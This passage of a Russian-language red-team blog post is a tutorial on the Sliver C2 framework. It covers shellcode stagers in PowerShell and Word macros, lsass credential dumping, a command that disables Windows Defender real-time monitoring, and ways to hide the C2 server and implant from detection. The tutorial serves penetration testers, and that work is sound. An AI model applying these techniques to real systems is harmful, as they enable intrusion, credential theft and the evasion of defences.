    &lt;blockquote id=&quot;cLki&quot;&gt;Тут стоит заметить несколько особенностей скачивания:&lt;br /&gt;1. Если указывать путь через обратный слеш, их надо писать два, для экранирования&lt;br /&gt;2. Если файл указан через обратный слеш, то имя скачанного файла будет содержать полный путь&lt;br /&gt;3. Можно скачивать используя пути как в Linux (кстати, cmd.exe и powershell.exe тоже поддерживают такую запись). В таком случае регистр папок и файлов не будет иметь значения.&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;7HVD&quot;&gt;Загрузим файл:&lt;/p&gt;
  &lt;figure id=&quot;aqHl&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/97/6f/976fd51b-a3ad-40d9-929d-1281d373f99f.png&quot; width=&quot;1018&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Xudl&quot;&gt;Запустим процесс:&lt;/p&gt;
  &lt;figure id=&quot;ZNbQ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e6/cf/e6cff42d-cd80-4249-b822-2212371d9e3f.png&quot; width=&quot;1234&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;UCyQ&quot;&gt;Если нужно получить stdout от процесса, то нужно указать флаг &lt;code&gt;-o&lt;/code&gt;. Кроме того, у процессов есть таймаут на выполнение, если запускать их с флагом &lt;code&gt;-o&lt;/code&gt;. Если файл работает долго (LaZagne, seatbelt, winPEAS), лучше заранее выставить большой таймаут.&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;u8bn&quot;&gt;Результат выполнения предыдущих задач можно посмотреть ещё раз (работает только в beacon):&lt;/p&gt;
  &lt;figure id=&quot;wS3U&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/1b/b8/1bb87972-ace4-4265-9872-37c14419cbff.png&quot; width=&quot;1773&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;B19M&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/33/ca/33caaa47-85bb-4bef-9142-cd25bd67160a.png&quot; width=&quot;1410&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;eU8y&quot;&gt;В целом, весь нужный функционал работает без проблем&lt;/p&gt;
  &lt;h2 id=&quot;A52P&quot;&gt;Стейджеры&lt;/h2&gt;
  &lt;p id=&quot;DwjB&quot;&gt;Пейлоады sliver достаточно объёмные - могут достигать 15Мб. Кроме того, загрузка пейлоада напрямую чревата дектектом от AV. В таких случаях лучше использовать стейджеры.&lt;/p&gt;
  &lt;p id=&quot;7vKo&quot;&gt;Стейджер это небольшой код, который загружает с сервера полный пейлоад и исполняет его в памяти. В результате - минимальный след не диске, а за счёт простоты стейджера, его намного легче обфусцировать (или вообще написать самому).&lt;/p&gt;
  &lt;figure id=&quot;E6uL&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/62/fb/62fbbda0-2a9c-4bee-a334-818a2cc10cde.png&quot; width=&quot;957&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;OQls&quot;&gt;Стейджеры намного проще встраивать в различные типы файлов, например в &amp;quot;.doc&amp;quot; или &amp;quot;.hta&amp;quot;.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;WUVX&quot;&gt;Это не значит что полноценный пейлоад в .doc положить не получится. Но документ станет большого размера и его будет легче обнаружить.&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;wutH&quot;&gt;Перед тем как использовать стейджер, надо сгенерировать пейлоад который он будет отдавать. Пейлоад должен быть в формате шелкода и мы должны сохранить его особым образом - в профиль. Делается это следующим образом:&lt;/p&gt;
  &lt;figure id=&quot;UAd4&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/71/c5/71c50e5d-f16f-46f6-92ee-b635806509c1.png&quot; width=&quot;1667&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;PWf7&quot;&gt;Теперь запустим листенер стейджера. Он будет отдавать пейлоад стейджеру:&lt;/p&gt;
  &lt;figure id=&quot;tUfC&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f0/8a/f08a9df5-f978-48aa-bb83-6f383d2fcff7.png&quot; width=&quot;992&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;it2c&quot;&gt;Для этого указываем протокол (тут используется другой формат, не как в генерации пейлоада) и профиль который listener будет выдавать.&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;H0oP&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;qLyy&quot;&gt;Сгенерируем сам стейджер. Для примера, сделаем стейджер в PowerShell:&lt;/p&gt;
  &lt;figure id=&quot;nCVm&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/5b/4a/5b4ace26-2a2b-48f8-977e-cb511ff67045.png&quot; width=&quot;1172&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;HjZh&quot;&gt;Теперь нужно добавить немного кода чтобы запустить этот шеллкод. Я воспользуюсь приведённым &lt;a href=&quot;https://ppn.snovvcrash.rocks/red-team/maldev/code-injection/shellcode-runners#using-add-type-and-c&quot; target=&quot;_blank&quot;&gt;тут&lt;/a&gt;.&lt;/p&gt;
  &lt;p id=&quot;mTXN&quot;&gt;Меняем шеллкод на наш:&lt;/p&gt;
  &lt;figure id=&quot;STsS&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/06/c5/06c5dc87-ffa6-48b2-9bdc-07c521637012.png&quot; width=&quot;1918&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;tyGK&quot;&gt;Проверяем работу:&lt;/p&gt;
  &lt;figure id=&quot;PXtW&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d0/34/d0341415-2992-4918-87f9-b1e8156d2d81.png&quot; width=&quot;1737&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;GrjQ&quot;&gt;Создаём макрос Word&lt;/h2&gt;
  &lt;p id=&quot;Lp5W&quot;&gt;Теперь к более частой задаче. Создадим макрос для Word и положим его в &amp;quot;.doc&amp;quot; документ. В целом, действия аналогичны тому, что мы делали с PowerShell.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;TTgm&quot;&gt;Многие загрузчики шеллкода (например из &lt;strong&gt;Cobalt Strike&lt;/strong&gt;) требуют 32 битный шеллкод. Поэтому в этом примере я генерирую 32-битные.&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;52Sv&quot;&gt;Шаг с созданием профиля и запуском &lt;code&gt;stage-listener&lt;/code&gt; я опущу - в целом то же самое, но для 32 битной архитектуры.&lt;/p&gt;
  &lt;p id=&quot;bNZT&quot;&gt;Генерируем стейджер в VBA:&lt;/p&gt;
  &lt;figure id=&quot;v0GH&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/70/2a/702ab91d-b2ff-4467-a5ff-c5326343aee4.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;kQud&quot;&gt;Возьмём часть макроса от &lt;strong&gt;Cobalt Strike &lt;/strong&gt;(или &lt;strong&gt;msfvenom&lt;/strong&gt;, они аналогичны)и склеим их вместе:&lt;/p&gt;
  &lt;figure id=&quot;qnIm&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/45/aa/45aacc51-f6a3-4783-aa56-b3e7e143cd4d.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fh7P&quot;&gt;Проверим наш документ:&lt;/p&gt;
  &lt;figure id=&quot;cIMP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/b0/93/b09350e6-439b-4fd6-8b2a-606d11be6140.png&quot; width=&quot;1659&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;EZ0L&quot;&gt;Armory&lt;/h2&gt;
  &lt;p id=&quot;fTie&quot;&gt;Sliver предоставляет различные возможности для расширения, и даже содержит свой &amp;quot;пакетный&amp;quot; менеджер. Через него можно поставить разные полезные инструменты, которые будут выполняться через пейлоад. Можно поставить сразу всё:&lt;/p&gt;
  &lt;pre id=&quot;Xv58&quot; data-lang=&quot;bash&quot;&gt;armory install all&lt;/pre&gt;
  &lt;p id=&quot;hpk5&quot;&gt;Armory располагается на github, можно добавить свой пакет через issues:&lt;/p&gt;
  &lt;p id=&quot;hU6r&quot;&gt;&lt;a href=&quot;https://github.com/sliverarmory/armory&quot; target=&quot;_blank&quot;&gt;https://github.com/sliverarmory/armory&lt;/a&gt;&lt;/p&gt;
  &lt;h2 id=&quot;R7DD&quot;&gt;Пост-эксплуатация&lt;/h2&gt;
  &lt;p id=&quot;7Udm&quot;&gt;Рассмотрим возможности sliver для пост-эксплуатации:&lt;/p&gt;
  &lt;h3 id=&quot;OnzQ&quot;&gt;Получение учётных данных&lt;/h3&gt;
  &lt;p id=&quot;gswf&quot;&gt;Сам по себе &lt;strong&gt;sliver&lt;/strong&gt; предоставляет не так много возможностей получить учётные данные. Одна из них - получить дамп процесса &lt;code&gt;lsass.exe&lt;/code&gt; через procdump:&lt;/p&gt;
  &lt;p id=&quot;twKd&quot;&gt;1. Получаем список активных процессов и находим lsass.exe&lt;/p&gt;
  &lt;figure id=&quot;9ZVV&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c6/ec/c6ec9bfc-3539-468d-9e53-1cf2d31c61a3.png&quot; width=&quot;743&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;xxIz&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/48/af/48afcea1-4c2c-47df-84af-f836f180c442.png&quot; width=&quot;1081&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;iEMQ&quot;&gt;2. Создаём дамп lsass.exe - для незаметности лучше сохранить сразу себе, а не на подконтрольное устройство&lt;/p&gt;
  &lt;figure id=&quot;LqIb&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/71/8e/718e9a30-c6cc-4f7a-a9f6-2a062da12aa9.png&quot; width=&quot;911&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Dsn9&quot;&gt;3. Используем pypykatz на своём хосте для анализа дампа &lt;br /&gt;&lt;/p&gt;
  &lt;figure id=&quot;a3f4&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9d/65/9d657ada-eaa2-4f29-9e22-db99c22db9a9.png&quot; width=&quot;1193&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;zh1E&quot;&gt;Перемещение между хостами&lt;/h3&gt;
  &lt;p id=&quot;emYo&quot;&gt;Из встроенных - только psexec, при этом нельзя указать список IP, нельзя указать креды. Используется текущая сессия. Однако в armory есть sharpmapexec - &lt;a href=&quot;https://github.com/cube0x0/SharpMapExec&quot; target=&quot;_blank&quot;&gt;https://github.com/cube0x0/SharpMapExec&lt;/a&gt;&lt;/p&gt;
  &lt;h3 id=&quot;Elfn&quot;&gt;Tools of the Trade&lt;/h3&gt;
  &lt;p id=&quot;lh7R&quot;&gt;Благодаря команде &amp;#x60;execute-assembly&amp;#x60;, sliver способен запускать очень много полезных инструментов. Alias&amp;#x27;ы из armory так и работают - об этом прямо заявляется в документации.&lt;/p&gt;
  &lt;p id=&quot;0mgb&quot;&gt;Много полезных инструментов уже есть в armory и хорошо работают: &lt;strong&gt;rubeus&lt;/strong&gt;, &lt;strong&gt;seatbelt&lt;/strong&gt;. Часть (на данный момент) ещё не добавили: &lt;strong&gt;mimikatz&lt;/strong&gt;, &lt;strong&gt;chisel.&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;vr7C&quot;&gt;И, конечно, можно просто загрузить что-то прямо на диск (что в большинстве не тренировочных сред будет съедено Windows Defender&amp;#x27;ом):&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;UwQM&quot;&gt;Кстати, анализ в реальном времени Windows Defender&amp;#x27;а можно выключить:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;execute -o powershell -c &amp;#x27;Set-MpPreference -DisableRealtimeMonitoring $true&amp;#x27;&lt;/code&gt;&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;h2 id=&quot;gmgT&quot;&gt;Хранилище лута&lt;/h2&gt;
  &lt;p id=&quot;JcFn&quot;&gt;В sliver есть хранилище для лута - туда можно складывать пароли, API ключи, файлы. На мой взгляд, им не совсем удобно пользоваться - каждый пароль нужно запрашивать отдельно, нет варианта хэш. И самое главное - оно не пополняется автоматически, как это происходит в Cobalt Strike с hashdump/logonpasswords. Это неудобно когда работаешь с другими людьми, но в целом не слишком мешает.&lt;/p&gt;
  &lt;p id=&quot;LOJU&quot;&gt;Так происходит добавление элемента в лут:&lt;/p&gt;
  &lt;figure id=&quot;vOxU&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/79/0a/790acfc7-2f95-4194-9b0b-939949734bb8.png&quot; width=&quot;1160&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;h3dt&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ea/04/ea045322-d672-4d33-a172-b22419a10cf4.png&quot; width=&quot;1256&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;C9fL&quot;&gt;Получение:&lt;/p&gt;
  &lt;figure id=&quot;efHX&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/bc/f0/bcf0c616-1b6f-4497-b119-719aeda00555.png&quot; width=&quot;707&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Tfie&quot;&gt;Добавим немного автоматизации: reactions&lt;/h2&gt;
  &lt;p id=&quot;rIf0&quot;&gt;В sliver есть встроенный механизм автоматизации рутинных действий. К сожалению, пока что он достаточно сыроват, но уже может немного упростить работу.&lt;/p&gt;
  &lt;p id=&quot;mOCe&quot;&gt;Он называется reactions. На данный момент триггеров для реакций не так много:&lt;/p&gt;
  &lt;figure id=&quot;bu6J&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8b/fc/8bfc4cc3-594d-470f-bd9e-03ae9fd8ebd2.png&quot; width=&quot;1176&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;wQMi&quot;&gt;Добавляется реакция достаточно просто: указываем событие на которое хотим реагировать и список команд которые надо выполнить в этом случае:&lt;/p&gt;
  &lt;figure id=&quot;11l0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/29/90/2990c171-0743-454a-b14e-6e9147fcfa7a.png&quot; width=&quot;1078&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;n6f2&quot;&gt;И снова проверим:&lt;/p&gt;
  &lt;figure id=&quot;5wT3&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d2/60/d260d1f9-bdbc-40a6-b8a2-2f40cb6597dc.png&quot; width=&quot;1768&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ImQ2&quot;&gt;У реакций на данный момент есть достаточно много огграничений:&lt;/p&gt;
  &lt;ul id=&quot;SSga&quot;&gt;
    &lt;li id=&quot;2cmV&quot;&gt;Нет гибкого языка (циклы, ветвления)&lt;/li&gt;
    &lt;li id=&quot;VS6X&quot;&gt;Нет событий для обработки beacon&lt;/li&gt;
    &lt;li id=&quot;Xkgl&quot;&gt;Нет возможности подставлять параметры из переменных (логин и пароль из лута например)&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;7JN9&quot;&gt;Однако это не значит что sliver сложно автоматизировать. На самом деле, как раз наоборот, sliver отлично подходит для создания своих скриптов! Для этого нужно использовать кастомный клиент. Возможно об этом я напишу в следующий раз, а пока вот скрин чтобы полюбоваться:&lt;/p&gt;
  &lt;figure id=&quot;bL4F&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f4/9a/f49ae673-ac20-4ef8-b066-006d55b5c5c9.png&quot; width=&quot;1280&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;iwFp&quot;&gt;Мультиплеер&lt;/h2&gt;
  &lt;p id=&quot;PN0K&quot;&gt;В &lt;strong&gt;sliver&lt;/strong&gt; удобно добавлять новых операторов, но для этого нужно включить multiplayer. Если вы устанавливали &lt;strong&gt;sliver&lt;/strong&gt; через one-liner (как в документации), то он у вас по умолчанию включен. &lt;/p&gt;
  &lt;p id=&quot;Ol3w&quot;&gt;Сгенерируем конфиг для оператора:&lt;/p&gt;
  &lt;pre id=&quot;nDsW&quot; data-lang=&quot;bash&quot;&gt;sudo /root/sliver-server operator --name test -s /tmp/test.cfg --lhost 127.0.0.1&lt;/pre&gt;
  &lt;p id=&quot;hSdu&quot;&gt;Теперь оператор сможет его импортировать и использовать:&lt;/p&gt;
  &lt;pre id=&quot;kjlb&quot; data-lang=&quot;bash&quot;&gt;sliver import /tmp/test.cfg&lt;/pre&gt;
  &lt;p id=&quot;SbYS&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;HgeW&quot;&gt;Однако &lt;strong&gt;sliver&lt;/strong&gt; очень просто обнаруживается - по умолчанию висит на порту 31337. Используется SSL сертификат с достаточно узнаваемыми Issuer, Subject:&lt;/p&gt;
  &lt;figure id=&quot;qvQ2&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/3d/4e/3d4e8c79-5511-4584-a4ab-5123e12b90bb.png&quot; width=&quot;870&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hGNk&quot;&gt;Такое легко находится даже через Shodan, так что сервер может легко попасть в TI feed или блэклист:&lt;/p&gt;
  &lt;figure id=&quot;0fYW&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/43/af/43af2a66-2d3e-4757-8168-4c483a530454.png&quot; width=&quot;1782&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;r464&quot;&gt;Прячем сервер&lt;/h2&gt;
  &lt;h3 id=&quot;FheK&quot;&gt;Вариант 1 - SSH тунель&lt;/h3&gt;
  &lt;p id=&quot;oM4s&quot;&gt;Простой и надёжный вариант - закрыть порт 31337 и дать возможность операторам подключаться через SSH тунель. Сервер с SSH вызывает куда меньше подозрений чем с открытым 31337 портом &lt;/p&gt;
  &lt;p id=&quot;2qeJ&quot;&gt;Закрываем доступ к 31337 порту извне:&lt;/p&gt;
  &lt;pre id=&quot;BbSm&quot; data-lang=&quot;bash&quot;&gt;sudo iptables -I INPUT -p tcp --dport 31337 -j DROP
sudo iptables -I INPUT -s 127.0.0.1 -p tcp --dport 31337 -j ACCEPT&lt;/pre&gt;
  &lt;section style=&quot;background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;blockquote id=&quot;BrqY&quot;&gt;Не забывайте что iptables сбросится при перезагрузке. Правила нужно сохранить или вводить заново каждый раз&lt;/blockquote&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Vsa4&quot;&gt;&lt;br /&gt;Либо перевешиваем его на 127.0.0.1 через конфиг сервера. Если вы устанавливали sliver через one-liner, то этот конфиг будет в &lt;code&gt;/root/.sliver/configs/server.json&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;4VbQ&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f1/cf/f1cff505-f6ef-4266-bdcc-2d233b6b8ab4.png&quot; width=&quot;1141&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;sAQ6&quot;&gt;Теперь остаётся запустить ssh сервер и создать пользователя для туннеля:&lt;/p&gt;
  &lt;pre id=&quot;DvCy&quot; data-lang=&quot;bash&quot;&gt;systemctl start ssh
useradd sshtunnel -m -d /home/sshtunnel -s /bin/true&lt;/pre&gt;
  &lt;p id=&quot;490V&quot;&gt;Теперь операторы могут прокинуть туннель:&lt;/p&gt;
  &lt;pre id=&quot;ZidJ&quot; data-lang=&quot;bash&quot;&gt;ssh -L 31337:127.0.0.1:31337 sshtunnel@ip&lt;/pre&gt;
  &lt;p id=&quot;2e0C&quot;&gt;&lt;br /&gt;Однако, в этом случае операторам нужно будет выставить lhost в 127.0.0.1 (в конфиге или при генерации):&lt;/p&gt;
  &lt;figure id=&quot;bN0C&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/55/1d/551d1755-68a3-4ce9-959f-28cb33593972.png&quot; width=&quot;1201&quot; /&gt;
  &lt;/figure&gt;
  &lt;h3 id=&quot;RNXK&quot;&gt;Вариант 2 - Меняем порт и сертификат&lt;/h3&gt;
  &lt;p id=&quot;DyuU&quot;&gt;Другой вариант - изменить порт &lt;strong&gt;sliver&lt;/strong&gt; и создать/сгенерировать более незаметный сертификат. Такой вариант хорош тем что операторам не придётся подключаться через SSH тунель.&lt;/p&gt;
  &lt;p id=&quot;gJw0&quot;&gt;Сертификаты лежат в &lt;code&gt;/root/.sliver/crt&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;DE7V&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d2/7f/d27fe18a-2abe-42fe-bd8b-f1a426e38ac9.png&quot; width=&quot;979&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;WFxE&quot;&gt;Лучше сразу заменить сразу все сертификаты. Ключ должен использовать Elliptic Curves (EC) - &lt;strong&gt;sliver&lt;/strong&gt; умеет читать только их.&lt;/p&gt;
  &lt;figure id=&quot;EM0s&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/74/db/74db2c2f-4693-4994-beee-34cbddb49658.png&quot; width=&quot;588&quot; /&gt;
    &lt;figcaption&gt;Так что придётся генерить ключ и сертификат несколькими командами, а не как обычно&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GM85&quot;&gt;Генерить такой ключ и сертификат можно так:&lt;/p&gt;
  &lt;pre id=&quot;8aCo&quot; data-lang=&quot;bash&quot;&gt;openssl ecparam -name prime256v1 -genkey -noout -out key.pem
openssl req -new -x509 -key key.pem -out cert.pem -days 365 -nodes&lt;/pre&gt;
  &lt;p id=&quot;I7RN&quot;&gt;Теперь меняем порт:&lt;/p&gt;
  &lt;figure id=&quot;RkKG&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a6/f2/a6f2c52d-3c24-4af3-9cff-cc8497024378.png&quot; width=&quot;1031&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;9CZO&quot;&gt;Перезагружаем сервис sliver (systemctl restart sliver) и смотрим на результат:&lt;/p&gt;
  &lt;figure id=&quot;Lbjc&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/a2/85/a2853bb8-997e-4e44-b931-9ada5c32655b.png&quot; width=&quot;947&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;KpyG&quot;&gt;Issuer &amp;quot;operators&amp;quot; пропал, но избавиться от строчки &amp;quot;multiplayer&amp;quot; сложнее. Для этого нужно пропатчить sliver, вот это место: &lt;a href=&quot;https://github.com/BishopFox/sliver/blob/040863b75721d9a6c21d24bd0926d1d85c91ab7d/server/transport/mtls.go#L54&quot; target=&quot;_blank&quot;&gt;https://github.com/BishopFox/sliver/blob/040863b75721d9a6c21d24bd0926d1d85c91ab7d/server/transport/mtls.go#L54&lt;/a&gt;&lt;/p&gt;
  &lt;figure id=&quot;NYMR&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/79/77/79777c07-7b99-42ae-9efa-7f9c68b15da9.png&quot; width=&quot;829&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;r8Ts&quot;&gt;Для сборки sliver v1.5.42 нужен go v1.20.7, поставим его:&lt;/p&gt;
  &lt;pre id=&quot;kvP8&quot; data-lang=&quot;bash&quot;&gt;go install golang.org/dl/go1.20.7@latest
go1.20.7 download&lt;/pre&gt;
  &lt;p id=&quot;lDEX&quot;&gt;Собственно весь патчинг:&lt;/p&gt;
  &lt;pre id=&quot;tNjN&quot; data-lang=&quot;bash&quot;&gt;git clone https://github.com/BishopFox/sliver/
cd sliver
git checkout v1.5.42
sed -i &amp;#x27;s/&amp;quot;multiplayer&amp;quot;/&amp;quot;Test Blog&amp;quot;/g&amp;#x27; server/transport/mtls.go
sed -i &amp;#x27;s/= go$/= go1.20.7/g&amp;#x27; Makefile
./go-assets.sh
make linux&lt;/pre&gt;
  &lt;p id=&quot;okO4&quot;&gt;Результат:&lt;/p&gt;
  &lt;figure id=&quot;KDHA&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/31/3c/313c7a67-30af-45c3-a739-7dbe10fe19d7.png&quot; width=&quot;758&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jn4b&quot;&gt;Кстати, довольно многие меняют порт, но забывают убрать SSL Subject &amp;quot;multiplayer&amp;quot; :)&lt;/p&gt;
  &lt;figure id=&quot;v9PV&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/ce/5e/ce5e1000-3869-4e7c-8b7e-4bb5a43fe200.png&quot; width=&quot;456&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;Mq1z&quot;&gt;Ныряем в исходники&lt;/h2&gt;
  &lt;p id=&quot;ho3j&quot;&gt;Частая задача - обойти обнаружение пейлоада. Можно поиграть со стейджером и сделать его более незаметным - это надёжный вариант, про который достаточно много написано. Мы пойдём другим путём и изменим код самого агента :)&lt;/p&gt;
  &lt;p id=&quot;Kf0Z&quot;&gt;За генерацию агента отвечает sliver/server/generate, а точнее - renderSliverGoCode()&lt;/p&gt;
  &lt;p id=&quot;48FH&quot;&gt;Код самого агента лежит в implant. В коде используются шаблоны Go (tmpl), вида {{.SomeVariable}}&lt;/p&gt;
  &lt;p id=&quot;mi9J&quot;&gt;В целом кода довольно много, в нашей обзорной статье просто изменим поведение функции регистрации - добавим домен к хостнейму (так будет удобнее искать нужный имплант), а также задержку в 10 секунд между получением хостнейма и пользователя.&lt;/p&gt;
  &lt;p id=&quot;tuXK&quot;&gt;Я буду изменять файл &lt;code&gt;sliver/implant/sliver/sliver.go&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;TL1B&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/66/10/6610ff73-ce37-4f2b-83e8-a4950da84e32.png&quot; width=&quot;1009&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;NAik&quot;&gt;Изменяем:&lt;/p&gt;
  &lt;figure id=&quot;cOls&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ef/84/ef848bd0-ac7a-426a-9029-7203055a8b28.png&quot; width=&quot;1021&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;v2ip&quot;&gt;Зачем мы добавляем эту задержку? В целом, от EDR или антивируса такой трюк сейчас не спасёт, но при желании тут можно добавить различные проверки и вставки, проверить среду исполнения. Это так же может быть полезно чтобы ограничить скоуп - например запретить пейлоаду исполнятся на компьютерах которые не входят в определённый домен.&lt;/p&gt;
  &lt;p id=&quot;kUTx&quot;&gt;После перекомпилирования и запуска пейлоада:&lt;/p&gt;
  &lt;figure id=&quot;n3NB&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/28/e2/28e2e9e7-8e39-4530-a430-2eebb1ddc2c7.png&quot; width=&quot;1734&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;MoPr&quot;&gt;Итоги&lt;/h2&gt;
  &lt;p id=&quot;uE5J&quot;&gt;Sliver предоставляет стабильный базовый функционал и хорошие возможности для расширения и автоматизации. Для некоторых будет минусом отсутвие GUI, но лично меня больше расстроило отсутствие нормальных логов и возможностей для написания отчётов&lt;/p&gt;
  &lt;p id=&quot;plvi&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;FJxR&quot;&gt;Спасибо за внимание к заметке, буду рад вашим дополнениям :)&lt;/p&gt;

</content></entry></feed>